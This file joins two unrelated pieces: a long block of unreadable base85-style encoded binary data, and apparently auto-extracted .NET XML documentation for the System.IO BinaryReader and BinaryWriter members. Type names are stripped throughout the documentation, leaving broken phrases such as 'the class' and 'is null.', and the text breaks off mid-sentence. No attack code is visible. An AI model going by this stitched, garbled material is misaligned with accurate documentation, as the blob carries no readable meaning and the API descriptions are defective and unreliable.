z0DYm9@fx@h~rCDG~?K!8RU|B;9GpC>$j7>ooF^hII6~%%f#8DRm1Q(%sCgM<#S|@ZB zvqa{UoYoYi2IIUV?J8!2+$lNjC}=81MYl0~O4=-}KLtI)94Y7}Hkg7i80AAyPCzhCuB(<%Y=Y0@U8i(OcAt zd9|mVK*Z?xk>o@~Kl7F5tV7>1U$mOk#3>|?nP7g>v_d398zzw&Wzh|>;gZr(C_|Gr zT*}jdu?rg^c@O&}t4kY+c8YmoA}2RrKS_CJDJGjgQ>&BDFB3}f3kS8r+ zBcw%3)AmD}1m&Z>AT_@|jX>74nD*M{L#qs+#Ziz8EncDtjA*fh_V>irJGmW+?L;!s z{oy(#L$sej%B2nsrAg2!jA%`PI3wgFS~EqOvk>{yQl;e)ZJREs5k|Caw)8!sZ95Rr zwiBdjMEgyY^1J}6h8!tRqBW;T^nwwsIUO;25wD6Z<_rporp=@vWo$MDb-@ZKD1kPg zg3@So zqHUz0GTIi2)bbio+wBs~%d;3=&~{1bq?RfrNbWdjsj`zMB2VM^Ko+EGfM zP(#N$)#$iHFJ#-EkRqaOPe|KO9_9|oUZAuQ z6D(XuYaZ>CcA9pPl6HZ1Nm2sYMpru3=!ztbY?WFG!um6>)1(Ns!P=&l(hdtdp_SNG zN}3wFA>jftZlT?zpdGY23OYc$BSnWH=UocgLAysm2WSsF+3QE`<%#W?1c~k0BT1`Z z#Q3Y1BBG7zC2fQeZB#EQ0VBrW6KNVT{+>(Ih!%S#MMR6eks_kSIuOxf9f)YLH=U%W zqN9)|zD_9rLAx+r3VJ~6PC?a}9tEi( zeF|!z^`M}aG!_N5&ObP+R?YJ#wseJN;*6y>ACpuv8Wv>h~a3OYa| zJPR1QEi0ik)BsKdaf~=jM_=HJ9KORz`UZRlum%E3L+{`%I+{Yh`)iCiUQ8d7c?c@u z-x2Q2-%^@WbQ-c5R%2g$$av=E=w6j!H4*yPAhtv{5X{eNx?bjHpg#F0; zzv|@Y7zX-%PI0^pvLX3&2UkyLZRmpxG_(-(Lq{(tts@SLOCdDbxpg{X80~L~wf!Be z3&9_TFWIsZJ$K~)HAccgtku1w48LlakP|~4(u%{s#{4^V`D@w4wWIc>f32Cn=0>e4 zQC}MRNcKr_SUhSv!t`HK#W4)B)iCsPPI0_Ur?K{PZ;{CM_v7x@w}`T+B~rum-^fGs zD@MB{;#!NxzBo+q|D7b%*8f$8KS^~YN3po9Upf3qOkYyA#bkdbC=H2YewP2Qt;DaT z{E6iMj?BN7D3)1VE>&`I43Ym|>7Od|ui-(YodnYYd^*B(a+mJc7zTJEJ8~-i#Yq2i zss23Yuab*nI%NJ;+FxV-UHNIq3+$*DcuKv%YwZPoc`xt`uK?evI#4F+22=s{A;TP! zIsjEegGuT|(qSYGB`KGr@gyBb(k!4|z<<1gsf${GGSN(umZEAI7TQRLD@iH`p6cr$ zi59vIR0lnP%}+&SOlKoaWC650@&jrJsch7jq*iDI#0(&*D@nak48#PXT%e;-DNr7| z0W<+U2bzl17;H2iX)_*zmq4H4Oebh0Npnc*%p_t;NP2{%4@nxSPsHbtl*J<7B`L#T z3P{4}O;BQnp#x;rxgANs-HcF@~=v4>$Sw2G+tdE#7F(n9xFbKMp3~R`#L3kiT z3#g9_L8*Bz$#&$V=2jkqTgOuF> zc4BDY(~|}22{oX>4zMCnqIY0uC{P;mMyf!4pmrGe*wi6B23m-QB2X8gkx*M2;zG}% zp(toG8nghhmk|w=20I@;AshpghGJoN2Saf{X=nO`t}Ikt5!tQUGm_gWC!bJ|!5|~IZg*G330JVnhtv*FyXf&V*iIgh%1c6Q7|_(A(Ddz3x(XQAbxBT zKUoA2k~k=k&y61Ll`OKdB!l7*q=+GrVrwl)X%7*R99u~wga-NwqSF%jPADiVRm4wX zd-xQEC+V?%>p{WF8p`7Pu!zcR-)`WWE@U z5XOu6KS6PdM`BuPT*oW0tH(_Xicb=!5TYWf z&}7km{0uTS6~vH)T?InEBrGnUFAyFwTw z?cgG*T7VFG7*F(T0@2#S_}Dl~lB-V;Q8GBM1@QvI7xC`S6otMR6#IFKQ2wH6g|q3gGh-Bpo$~2orWiJUaNi_#|$kqyk?4 z?C8WqAg^R-)_Bsebwm;R}&iW9@+GI_*IhsG2aV z9e8<=!yLv@dOYzG(JDVhi4B1?hbNzC7%0XiEk2QW1uB&&w&N&Rm<7r0K-{4TF(5N3 zzeJ{XK*-b{6wA~O*gTN{vWn*nw|H)BvH;qHmnw;BA8Kr|Dd7u)_`>vf9zV6+2tsKv z?*JsKNDQ!41l>d&h~|r+6(u9YLnt8Q{e@5uU#>7gT7-1yv5BrMW<_W?6-Ej{#X3R$ zQDcD}62!znKOoDqbBPzT=SRbAD7N`O#kCJp#DiWSA{9;u8VqxVAWcLLJSrv{gwzW) zL#GHL2lRVMdVF#UumM)Yqg{!Frcr!yG(Qsz0BP*Va$UJ8TprjdvQR1DNn+by4&w9D zU;D^7AiL!B!0q`m!A{SQsWpXCX`m0_y4nR3QjWhDF0vROn3gVKQCR z<1rbz?SmpFt6x{>pHl+s9mL2%i1-*}(trRC3>wTK);7e^64@)CN1WJpt9cE3>L%4~ z-;`fG|2FpZyy;))>4{T(iWc_RG2mJ8t?PG>-Yc%P)ij{ZR}>EXl(S^=iANb~^G?ZT z`1g5ksj~2;%=N= ztT#);m9N7}I+aI3&A3%5MnicA(wK~7zd&@{mWxIhsEFJOUT1UFzuMnP!=QXfVnC=-N9 z5CwuT2%RcuZ(+F4RD#MU6bRA4#U#(dXli8hE3go-22hV2`7)_Ak{h9`a77kf$_cb6euIz% zv=2LHVy((4fGC8XX>z27eWh5)BIj|uu!(bJO!Dc}JRw4@IY;Hgh%m=X^j`36iDu9qf%DBNc;uG%}wGhUD9aA1s=YE{3}J#`A=N zR6&f01p`IAhl_nkA#$x-q2eUk2O~cO+2ovBi9EL28ZDdKaP~T>=Sg_n; zk?W*XmXMzchLj)8M&PAKO4e*!wxt!v(u$44`CJnW^`geGqQLsYVd$*>tbjoOq3*81 z-hu9L_Ev_dAbkIkwE#d|T|@h;G3!*L3{INW$0T>JzFfY{n5{C9^L5H_!y8L)umfzj z?#-F&aMtK;p+dlYulI_gO@}bv`?x+y5k?=4sKZPl7DtGljF9)EF=k-XNLEu=;z=dlSe z7H%A5#i6EwL2f|}FJ3><-dpOj>G{3LU8Cn8B&3e%9~MQ-lkxo2FfinNVG=(&o-5*q zd1Ml+^sr2OTOnT*#uFrqgj}8|HB8!CVZ`Y~4$j6qqSz_XQRo%^bQl1VX?=69Lp61wzORPTKnc_5$i5K6Q@{F`B?}kAW|Rm_&j` zNuGnmY{*#g5O0rw$9;&vfS(8nQ9OM2#{#!_IMoVYp@3rGJPAVk$vilmlEUFkCGm8J z8~iPBI2A*#kS7VHfcGL9Wq~wYKzy(27GS)9AEe{m5J(e39tmgS=sp`fmTY8+ ztiS_8P&U*82Wg^E8d)MCSrl;Y56=M5uRnNg+(Fi0@Y@7JNIZP3Nf`;f5akQu$puYy z)cAL@<$>n~gZJTMn#@hqKLtu6v>gk691+xgBb55*x?)3a7Wfhq;U9~_CzV8m-U!*! zfks0;iA$_o|Mt8@D-&`{bWI>}i~UaiU^ra}r%d5p0q{$MHW5*3jD92cHjsl2dE7yJ zEGUI&XM%qQ+2$}SfDI(tt257^TkXHA&D@|o3`PwX$r_CQB>HbD9NF z`7{jUDB|)=nZ7D?nyw5i1DFbZnHU4hv!h{*5+{5h-jx!gip$e6RKh5uNl;m~E!}A!&@jUwG5;_f|(KM|6$tnOF!Zh(L6}RO-f+}xDLj9bXDfq;8vD6#}0_)D1f%O ztrX(9RsRvmlyOBuGDS^>uYW)w#{};!hCPy9<5S}JLY7;QJIg)DufHqqVQp@O+uNGE zxqH}idgF%T8tMJEM(thzJP+$d)i5T5=y`C!9pV*ed2m|)($l01N6jv5+c2hXiN87B z)iZU#UYFX-BZ}{R2(rz%KEvH;?3vA%V_wWYxk+`^+bJHq&1&jwPqmi(P#45BkJ0M3 zqcXOwWz6FIO>=u!wApBW%d5yT*w`Dg7-hc)~<>lH`+x%@ZV9q$I=> zu@>-qO2TKGY9Vb#qF<8T5_%;Yvfv|`axf}o;IuBr@WF@TLnIidqb5|(s1YIlJF3Ec%l1yw$~>s~8Q&+j&-0X-|+d;OA+!oWixhhJ@N zE~ywUTwz$aFVF0>w!%ph&CtuY@xC)$_6O3Rj;ZM#XJS$iy*}yFp5n2aowm4K?qOtn zKDgq;{M>{dTU}RoAFnoItfeid%qY45vK5y*6^(Vh_Nul4a9@K<0BWoV59l0p!nEiFpd;MW{X>M?5r)VZN!GmK??EQ zDgP1Kelle37McDR7WrQqriEVxwg(>3_nF@CxKhU5U+(dRr|rc4r!xO5~V!ic^%A$|!L$aQmehjLu%;r6OzqoME z>sy{}iH`4j&!{@6aFVfp?u2PW()G9=o4TFIj+%Y+n9ZgyBLydUii^DP-0tHaOrGGs z(=#a|Q?Fw8$EBKqP5Z9+Iy_0eKg4gK)}}&bhx4gF>0 zU1|Qk(9+&pC)y-WjoZx9u{Zs$SEg23E-_4zpsBFm4OBYCTFv~fzQj7wX?>D5rbQu0rq082kyrCseP<)4$+llG|j9yHV!s@ackVp!O8|V=h((@&8>O1 zxOtRqRE)Vpv}F{B7meFE*jslpfalbopRL`gJrb+2V_Ru!@AD~E=!u6AW%gwF<6r_y zzy#*I|CbCP^kwMDVD}<$dvhy}In2H|X#z({>=T$kKOBsp1cM25`ZE*w7raG3ja<^+ zt=kZ^;K2awJ2#v;>Qzj$Qr*W}Q?H_7Dr#5OUg>K3Y>t(E-#XV*^x0{ztQNLztdIRh zyHl?3=jtBb-Rto~f9>W;^O|RP~B2xtDFQhWc=N)p+eMp5MR3eLdnH zRzFB1%c`s?@8o^wZnAH>oK#pIDl>TF<-%3DtLUS@4t=c4me~^EX))(>R$UKPo6MI! z2|8Mzg^WFl>x-jbtB3o$dlmH2HUDyXw|r29_2P%xC-%KewRt|G>Cr3g<2t9ARRb<@ zr`GRwo4I&RKAtCY5bWJrvAt8^S{W0+;zWq^ld|v#a)G8GztDK*qPP8`v2NOQnA|ws zh;<_+QeHauam?|)ViRU0o$y$J0{BY;t}s`{$Heo%t;B-8wm8^*5@nIAG90%D&zmL3 z!HQUwS++w<0{)YB_FpZnb_hemy5Z5)`o)nfmP=83P@+@!8-nxaT3#l6FVt3h_@KXN zitZkZ63f>=?jLjUGrTTDcWg!|%sjh|<<;68x5d}Hp!`sl_qgSrvbVqWey}oa#-&ZE zZj*23-g$TEt?k;HF!#F^TOA*o#ue(WFBhhUv~*qE@Xcniu;fO1M2`&jDbwt=FQ<-{ z*&iENP`)GH;&wO1?+ZnJ>eDTP?`h$oZM6ka-_F%UcyI#tnP@gRh&q12u^EzB<@&(uuDa*y{-f8MiN^Qabg$7fsQ&9F179eY?W(yJ|dZ$)jbF12%93>joaIGsnA0GilKn zN<9?7TayNU6<0L4lPy!(k{9V5Vp8~|x8_%~M+!kpLL1iN0b*O`g?r-eC9Wld^9TL8 zEtB?lA#`mX^lZ|K1xu_JSg|2E7-b0tD`x*^R!r>lCI$>KUV!Vb_KSw0PzR^U#vT=~ z1kRO~yT-m!u}I$F_3>3iTBFYZ^P8?)6~CW*Va{1&cz!~_vK)i(EshpG`^z?jtazMq zVDHYhtX*Ehk4`TKPd@udscZbX@)a!e&x!#jLN1s;9$I@a<=F=1GJ1K)!@aY-N4#C) zvZCc()0@ZnJ*@}s4JmF8GMr|%HcxL+{bE`DxAlH)b4t%X*DPP)ccy#oJmC_vaY@T{ z+w_`)Zp5DN^&?FGLfM={COfitA#P>EE_`~iW@N~{42}O1clB zkNS9NO{{{b+_ur&qU)KbLOYFCLFK^Myib8U3aqsGJyd4hQ@bDCD!Axz?P}K-Stl4f zuYT$Gpy#YrTNJ)%nmBK5`1EMwWRC-~k)HfWXTR+(ul*XU(zEImtmTvRayUKfRf6w5 zDgE-qQ*CSXvL6B3>w?O+npqgKf%TE1Ju;<;P7?8f$(aJpt)2 z-TGF0{0HqRM*C)58oR-hV^Mtf@i@nuXi}8tm5VcK_Ue3A5f&U><5)p+9{VGH`O0_1KScf|9UvS7cPB=%c7j_{7c-#Gav>^E))YYQ;oHdeR;VZS*fguhq-@SpqK z|5w&~b!lSdgF8bOnoUSxcYAcG{_)A8VTJ))FW%GfGg5tXW&IVOtss9#e67y9=Z2)4Ie(u{TZcdIW9Hzx>41gKe@U-+y?ZQUkr;m$CEbj%h9Lu$B3%AGQ_xiuH-oO12?qt2yq(&I5H`sH8=Pn~`t05zIKAu~UqxC!U zTgqF@{f{p%^3<}nYL^ZzDc|aoI&(;alJRygZ;7~ReG-iw`EGwxi> z8s>{tvPI)YCn;%ezIb^2yuIve8f9~mqV|rUo%3U91{B@PcCH_BpkidP-Xnc1f6IZ) zx3e$59)P{6KRi!C=1jqm`sSc6_xv|6Y{W`jmq@ekRNs}&l#G|aqKHpJo7Te z@y9d;%?HO6xO1Ct?(O=@Z}#MqHhsseseW~EqN2^?93d)nwUc?^`~n@(;Uq! zLg(#mFnF?S`&r)3%wU;ogV_OF7H==l++0<%G)?!`!s(i6y(}y@$R(GIp3}R!q-p9| zgB!1U_}3J_@p||X;|pdgPCOHT=4tZF^@SHXeSWB%9358Y+r6~zv&E`G?BUu8HJWR_ zaq>)8;d!RT;OoUJE`UA93_hDnF0RY4%f6IM+K** zb|Dsnk{1~qSPb4_>=`}E<9&5`Zo$D_50wuX`_8DvJt!=cIQF=0iC&KGZ}#ulu&)Gr zS*76RYhRQ}mve;cjyi{eKb4V(A?4L-yAoXL$32z1btHGug(CfvbQ>y3HrUl?X4tU3;EQQ+I+tlcrs3w1&- zZYrp~y~iae<8aipTWh|W2kZW@ZShH�$pQO;0L%zP?$;33|s|xiPHa)JnRw5;{9V ze%93``)>{%SzuU8uVFlY3IxyOt!(n z<72Nc5V{U~H^t+KX;sY=VV}qMAKGb6Og)`cajP`X*a6R@8FjP*laoj50#WK@znlAy z&GWzCbD;FPa9pQDYC1Xt+8E8t8e`bzgi?ub5#HKTI-LIFx7i|Df`1d6y0QaJ%pNbIU8ERO3(V z3Ex)JYmB*F+wAN1(QQAn@DufGp1o??S6%SEII&^i!Q$eCpnIiDXY0TC_I|u;i=ePk zrrW$K&%l=MtxD^j9yb|2wg1cK8RmVL6!r|BdsK1k&AT5(l_r|u8xtMxUOhD2$MnUd zYnSd^4XjaZGUoU{nlP_xV&lZ?9%okhGhyS&NV#JmGB8e_;Ws?b@RL;6#Qv1wONe?3 zeTSn;s4y~r2*#%~XfWLHu#T5ukBV>x{pB7N>8_x>%V0HZxYM&IKfvj$%F6Vs2IER= z_g-S}OW5V{)l;@LUbi)mi+KE5 zhpt}#!dmmN+vL3k1IK zULIi8U>0?Am2TZ?d}#Y6I?ng2i^T%gM!90sp`II>zu(%C{jKh~J$5kHeRKckx@Pwr zrVNt3Q}<}zSBHMKtFYBgaT#Ya1x{_OA4_%B4!3N&%w4sicxtuNwu-X~p-&2Ci`^Qq z6*U=F+~dXWiQdFslf+2?M=K>$ppP6z@t>S(Ijf_gXjJb0KCdCI_hk$GW>o5b!TW1# zZP}M+X~}bNu(CCevf|m9TU*+3%(>Q4(dIFH+$x4^XUVgQ!8>_Oh9pNn36Qy(x2db0 zU9Vk98_uTDmi+bh*Kc>H1SzTH4jA-qsc)9(&JhGL$L-8ltc_AI;1)Gd1RYPuQ?*jGouU{_CulM%{Vy^s&;d?!42Vb-1th zA-T;B=O<{C?_PI^AE}~m6>9%L`;leXq|4(qWOH{;+Pg9Qj@yqIpH}kZydkNNnZC(cKa;b&TYO$VU7w_|eF6LU)QQ5J$~GsJ$Xn+R zbkCXZKU;mqm<+iCk7sS3ERc8VyCwFhXXB0y;n@SX%e;@Ab={*mB<$__zT4UA+7kLy~T>vla*`_bUXP+26#g6WbrSMko-To=gGonm5TRuo-(18M%5={s1V}qwy;BBLg z+j{OZ_sdc`@H#tuwcXfTL$;=`w0Lni(RQTn^@U$wKX_L;#!_persn%Ti{97RYu~ha zmSB(P$!3F7JWAqFQJD{a>Jl#cPn`wNo$();3&80uo(uYP%msh#HSd@eIN*G-w}j0b zvFpW_gdCiJ|M;wxNBi|?0*yGDK!c+RFy=Nle-^6gvA5PGZ^~2iwch`B_eg`)F5S%% zUW^LZw3lhG%kbJi`M6S#dv*z@H0l(a?T-~Px1Vvij%jgRuFh1>ik?1caimdV#VW5A zFXG13K3E>KL!saCid!4|Zp)UhxVbd+Y^1KtiA(!2g)rP{3?`ybjzZ%K}}$y`^$Q#HTpyr}K*eOcw}VOix~eV!>FF44?5yx6hn z%j3SI)Oz}cn3iP=A8Pd9<29zPvC(zGlw0F>jL+|W%c*is`16_mQ+3~#T7)*tA7H-C zYUIg1PTwuBR?!_RcT_C2pH#atr{8~O)b`SZ%7xqX4A*ardCl!P_K~UA%7_{Dy~D2> zcsm82*fnC15xx0J_GpXihL2OiRflO|@|tnu5)=x<#AoxD@OY)lX*g(Rmugy#KeocXT%v}F7qyPelby?-Z4vwp ze-WO$nh>7F$SuTk7vs4Lq^>zO9hQmsAW3mFOxx=3iX$fPXaO%3&ac2v+JsrWlvH+{ zC<%9#GN9qsJuF%Jl#`|rIP z*~8#0UG~*FQEac}ic8fW@fH@jES*@Jr8NI2KZ4!QsqMJ%O45|?hX*}ZI6I))bK{zK z@ppLDy==-0!}(L^Pn_)$FuYD_;e=XUZ@qT|U1kSf-u^A&v6C#j&+?~^-OI1-($84z zQ2!#j#?3J^+wh&{#C7vUQwmzo8Phz>j?Gd#uy&)2((=Z*&vEP}C1!)n5=MIQddkNq zk6O00VM^>-v2t_@*$h14un%J==Fd6V@7T_(D(Pk-WU#$R(hJTNN%xIWLeF#o~rcWrOA zON&h&T_`WS{3e_?`0;4j71N!V8O$rp%Cw$Zhq>Hc&38|AXB>Vo__T`YoBMo=*M%QS z!e8>JqHLf;jZ%X<$|E6VA48TC0?xx9RkdqxkNQ?+GftFyCveIBx;=jJb-hB@z7 zwN)qV@h+@?m6oad`lVe_mX7z28&!sJX-_LYf1UkGG3RCcfQqkpBg1Fzg9m9zyakR| zR)+ZbSLclARhp@8X^`DCSfO&zmksCFh951Rv3$h15WgYrM_g)_r;k?18ItfVYxU7X zNl9aC0#h}WvjZ-0^19r{^Saz1eF;nc>4{71Quxg$A>~W6B=;m7TvU+wq`EOU;P=M< z@BLdA(ywEA2B#N;Rb%bb|NUB{(JGgE-R@%Cu=sfK?wTs!fGFnFi#JtwTiE>veO>tM z3)B2h4c)r(TF&0xZP!|QOrEf9>Ef)Gy@Ib;bCHE_?3){$%?AaZHIHs-W!U>{sEh4Y znq=wgd?iM)@LgKc<&&4XV=tQA<@fKi2voVZal^fdKG-;YUAm=g^}O3 zRz;W(ontwi&GsAbT^V~Ju{fyyoeY)C<4uWh3S-+5+PWSuy$ z(rbO1-HGXzZT*|pgnDRQzq@?uw16eI!yGG;O43mGlG87&U$L70v&@BFr6JB4Av0y%87Q@>W@`+Q(kv@&u*pKkTf6LaVkH& z0;j1)&GURmV-BBSV{TBZqX{#N4K8(Au^sGeN8z$iKn@LSEy>-tHh1?weyr8S#oZN- zwYm;Aw{&xH|HEUgC3z~B!A&y`&gF$lmgMreX5^Bb_R|dVKW9mfx1VOQ!#S25D_a}l zXr3js4*{(Sh)?*Bd^{NAM&geL{f>`^&WE3g4+b1M->(aD>RI89`pO40)Mxc)z5c3M z`2O?c_{9mLV72Sz3Mg;dm&OTk-u)s@9)H3;mcGX+rtj$HE6zW2<%P;C@xIWp4Y?MTmj z%c(s?+}H&Xxxtl}7WphZdSYGp6|QEo=_%b$`8fw3aKCySHPJVU)e!0$%&PE?o*58T z8U8J!r(^Sov@M5bx%fH{yP~>+=@dKpeasR1QnyJ>m%YCwKPf(2x#4ZLnF6QzwjXoB z?iq46&olM5zbLve@R^0%{`IYQqYtgcj>^NI(~vj_mfs}qoySd|GTp&f4(5S{vqVtyysvmf zSFR~F5LCTdcm6%+@Fki0jo&|yNa}`H9XlCQGxovzXU&<1PH$M%`|+oPjS0acF1rD2QR-H*7Zl&r!ie^mKlY3i<(^2&Qw%SJ~jER-NaFY^xhU_ z4P6k3D(qFezPHHA<=@)4E1}`^#Sdq*k-!^wGwL<)QX{>5>AcWB2X}vCJW5$@In?Ca z@Cu9XyPwRpIuI36d}oC7iUUwThj<<5WLDKORYsv8V_@w{UzHV{rsd9y-`D+iY(%r^znX-3R&hlRNtX;jIM8E#nT0Myu z+FLc7?Jy#}Y}_X1EY+FX`?>4Y&lT6HcoyfJynJE(<)(>KnjZ}qC;uQ^w5*pL_xARH z9)d$HkI;i>9ND#t`hVnmWTVled=6Y-cI2K{nowH zupT*Iy3aHVcGxlc_8H~jMcLC+2gp5LX8y9^p%q)B&-)`5!6pVD&usC#ZMwH|?EBcwFww=>{pc9a{C+Kdz0hyD@LancmjU zuG~BGEP1yybw|w_quPI~Ap7RK#Mzg=-T%~fHrrHa9Q!iorlYRB|3}9g)vHdtst?d= z(w<--mu{uv-n+y?^Zg0cc&6F1uB{EHgHo`J>B9`B_q&&{@kHWcTa?se>#&M-*`tMX z)$imR#VTT5Cr9-d*#-Riod2%bu?9l&LXJtq)Km5#P!H`QsGiiFKXM0`pZLHwSTvJbb zyZze2A3^Su7)PJ2tTGD^b-2-E%F|)GJeMI+6TPk)%~DLXOl#0qpeMaGN+0=H-Pa^Hyh?=HJHlIIQ&BQMc3f>U0(3w%OYwoU2C=WoI1URQ)6Y@XJye{_uKuPo)_IM zGU_pUQKMV#Z55Z36}d|{7ag3hB%^EdZm(xfjo$z#kE(@X(K~gr4tlA2oO)5({rLy` zixrjMhUM@Q<_y`E?3A7Arc`?VV8MYtuXTcwuGF9B@go8szYC4$+Srht695SL@za!1tq!1@Z9RPxd-vwegBcA z_fJ2%`1RL)e!)THulsE5JZ#NfIqtZ*jg7S{r!U?|ykzgydCATS5~K-ve3ma4{t%du zwzC%l)As`T>@x3smgA0>^j#>EkM1}w6~dy4R_30v_Nu=-PI zX8;~}2*aP?py_4M;Jh|`H$qrvs5nCy<1mrImhw7{13T8zb2;S4Yl#95|34AK5qoh zgHJE0WE!()_r3VmYti(;N5%v8@7NYTd&7+*tJ7Wk?Jin&<4Im)ps4Oc>#Ed!sr4o{ z9uFpL8|!>le|^aF%Hc0s9%dXJ#aO6ZzIyJcS@S248lXN?Ye4X}^a%CgtK0|n-=H_> z%j)>d*blACPuutpRkWz zoZMPG_Y$6a9?z|0X#H;Z!Z}hrH)rjn|B1?iLuk)5divz0*a@bX%jYL}mbwd-Zgb1oC?vecV?9K-J# zfBtF`pzw_u&M(Ydo#pequ-o8O4@=i~-R`qwYtXE*yd_SbMlauXDx7`s&goIyy9W%N zH##1OFIbRPu=(t{Tj^ob*1D)w?wWpmTKtAu|HSEPszVp$M{0kFsH|!!D}Ej6*!_h@ zU2Dx3w;;d6E-hS7?c(TURm}3%mW;i(UA!h~o<7``ErSIe8nnIskou}_joSj&T|BwE z)bNF~XZ@t8D|4B&KBwaQmd!eKaq5u%kpo&a(t`4`9i}X-d!h7ZCA0MMHM7(iq5h2< Wp1$q6S?`&3-GH>3>Qxc2ZvH + + + System.IO + + + + Reads primitive data types as binary values in a specific encoding. + 2 + + + Initializes a new instance of the class based on the specified stream and using UTF-8 encoding. + The input stream. + The stream does not support reading, is null, or is already closed. + + + Initializes a new instance of the class based on the specified stream and character encoding. + The input stream. + The character encoding to use. + The stream does not support reading, is null, or is already closed. + + is null. + + + Initializes a new instance of the class based on the specified stream and character encoding, and optionally leaves the stream open. + The input stream. + The character encoding to use. + true to leave the stream open after the object is disposed; otherwise, false. + The stream does not support reading, is null, or is already closed. + + or is null. + + + Exposes access to the underlying stream of the . + The underlying stream associated with the BinaryReader. + 2 + + + Releases all resources used by the current instance of the class. + + + Releases the unmanaged resources used by the class and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Fills the internal buffer with the specified number of bytes read from the stream. + The number of bytes to be read. + The end of the stream is reached before could be read. + An I/O error occurs. + Requested is larger than the internal buffer size. + + + Returns the next available character and does not advance the byte or character position. + The next available character, or -1 if no more characters are available or the stream does not support seeking. + An I/O error occurs. + The current character cannot be decoded into the internal character buffer by using the selected for the stream. + 2 + + + Reads characters from the underlying stream and advances the current position of the stream in accordance with the Encoding used and the specific character being read from the stream. + The next character from the input stream, or -1 if no characters are currently available. + An I/O error occurs. + The stream is closed. + 2 + + + Reads the specified number of bytes from the stream, starting from a specified point in the byte array. + The number of bytes read into . This might be less than the number of bytes requested if that many bytes are not available, or it might be zero if the end of the stream is reached. + The buffer to read data into. + The starting point in the buffer at which to begin reading into the buffer. + The number of bytes to read. + The buffer length minus is less than . -or-The number of decoded characters to read is greater than . This can happen if a Unicode decoder returns fallback characters or a surrogate pair. + + is null. + + or is negative. + The stream is closed. + An I/O error occurs. + 2 + + + Reads the specified number of characters from the stream, starting from a specified point in the character array. + The total number of characters read into the buffer. This might be less than the number of characters requested if that many characters are not currently available, or it might be zero if the end of the stream is reached. + The buffer to read data into. + The starting point in the buffer at which to begin reading into the buffer. + The number of characters to read. + The buffer length minus is less than . -or-The number of decoded characters to read is greater than . This can happen if a Unicode decoder returns fallback characters or a surrogate pair. + + is null. + + or is negative. + The stream is closed. + An I/O error occurs. + 2 + + + Reads in a 32-bit integer in compressed format. + A 32-bit integer in compressed format. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + The stream is corrupted. + + + Reads a Boolean value from the current stream and advances the current position of the stream by one byte. + true if the byte is nonzero; otherwise, false. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads the next byte from the current stream and advances the current position of the stream by one byte. + The next byte read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads the specified number of bytes from the current stream into a byte array and advances the current position by that number of bytes. + A byte array containing data read from the underlying stream. This might be less than the number of bytes requested if the end of the stream is reached. + The number of bytes to read. This value must be 0 or a non-negative number or an exception will occur. + The number of decoded characters to read is greater than . This can happen if a Unicode decoder returns fallback characters or a surrogate pair. + An I/O error occurs. + The stream is closed. + + is negative. + 2 + + + Reads the next character from the current stream and advances the current position of the stream in accordance with the Encoding used and the specific character being read from the stream. + A character read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + A surrogate character was read. + 2 + + + Reads the specified number of characters from the current stream, returns the data in a character array, and advances the current position in accordance with the Encoding used and the specific character being read from the stream. + A character array containing data read from the underlying stream. This might be less than the number of characters requested if the end of the stream is reached. + The number of characters to read. + The number of decoded characters to read is greater than . This can happen if a Unicode decoder returns fallback characters or a surrogate pair. + The stream is closed. + An I/O error occurs. + + is negative. + 2 + + + Reads a decimal value from the current stream and advances the current position of the stream by sixteen bytes. + A decimal value read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads an 8-byte floating point value from the current stream and advances the current position of the stream by eight bytes. + An 8-byte floating point value read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads a 2-byte signed integer from the current stream and advances the current position of the stream by two bytes. + A 2-byte signed integer read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads a 4-byte signed integer from the current stream and advances the current position of the stream by four bytes. + A 4-byte signed integer read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads an 8-byte signed integer from the current stream and advances the current position of the stream by eight bytes. + An 8-byte signed integer read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads a signed byte from this stream and advances the current position of the stream by one byte. + A signed byte read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads a 4-byte floating point value from the current stream and advances the current position of the stream by four bytes. + A 4-byte floating point value read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads a string from the current stream. The string is prefixed with the length, encoded as an integer seven bits at a time. + The string being read. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads a 2-byte unsigned integer from the current stream using little-endian encoding and advances the position of the stream by two bytes. + A 2-byte unsigned integer read from this stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads a 4-byte unsigned integer from the current stream and advances the position of the stream by four bytes. + A 4-byte unsigned integer read from this stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads an 8-byte unsigned integer from the current stream and advances the position of the stream by eight bytes. + An 8-byte unsigned integer read from this stream. + The end of the stream is reached. + An I/O error occurs. + The stream is closed. + 2 + + + Writes primitive types in binary to a stream and supports writing strings in a specific encoding. + 2 + + + Initializes a new instance of the class that writes to a stream. + + + Initializes a new instance of the class based on the specified stream and using UTF-8 encoding. + The output stream. + The stream does not support writing or is already closed. + + is null. + + + Initializes a new instance of the class based on the specified stream and character encoding. + The output stream. + The character encoding to use. + The stream does not support writing or is already closed. + + or is null. + + + Initializes a new instance of the class based on the specified stream and character encoding, and optionally leaves the stream open. + The output stream. + The character encoding to use. + true to leave the stream open after the object is disposed; otherwise, false. + The stream does not support writing or is already closed. + + or is null. + + + Gets the underlying stream of the . + The underlying stream associated with the BinaryWriter. + 1 + + + Releases all resources used by the current instance of the class. + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Clears all buffers for the current writer and causes any buffered data to be written to the underlying device. + 1 + + + Specifies a with no backing store. + 1 + + + Holds the underlying stream. + + + Sets the position within the current stream. + The position with the current stream. + A byte offset relative to . + A field of indicating the reference point from which the new position is to be obtained. + The file pointer was moved to an invalid location. + The value is invalid. + 1 + + + Writes a one-byte Boolean value to the current stream, with 0 representing false and 1 representing true. + The Boolean value to write (0 or 1). + An I/O 